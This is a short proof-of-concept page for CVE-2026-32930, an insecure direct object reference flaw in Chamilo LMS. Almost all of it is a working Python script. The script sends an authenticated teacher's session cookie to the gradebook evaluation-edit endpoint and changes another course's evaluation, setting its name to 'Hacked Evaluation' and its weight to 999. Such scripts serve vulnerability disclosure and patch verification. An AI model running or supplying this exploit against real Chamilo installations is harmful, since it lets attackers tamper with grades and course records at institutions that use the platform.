CVE-2026-32930 Chamilo LMS IDOR漏洞

# POC for CVE-2026-32930 # This script demonstrates how an authenticated teacher can modify # evaluation settings of another course by exploiting the IDOR vulnerability. import requests def exploit_idor(target_url, session_cookie, target_eval_id): # Target endpoint for editing evaluation url = f"{target_url}/main/gradebook/gradebook_edit_eval.php" # Headers with authenticated session headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "Mozilla/5.0 (POC-Scanner)" } # The vulnerable parameter 'editeval' allows accessing any evaluation ID params = { "editeval": target_eval_id } # Data payload to modify the evaluation settings payload = { "name": "Hacked Evaluation", "max": "100", "weight": "999" } try: response = requests.post(url, headers=headers, params=params, data=payload) if response.status_code == 200: print("[+] Exploit successful! Evaluation settings likely modified.") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") # Usage # exploit_idor("http://target-lms.com", "valid_session_id", "1234")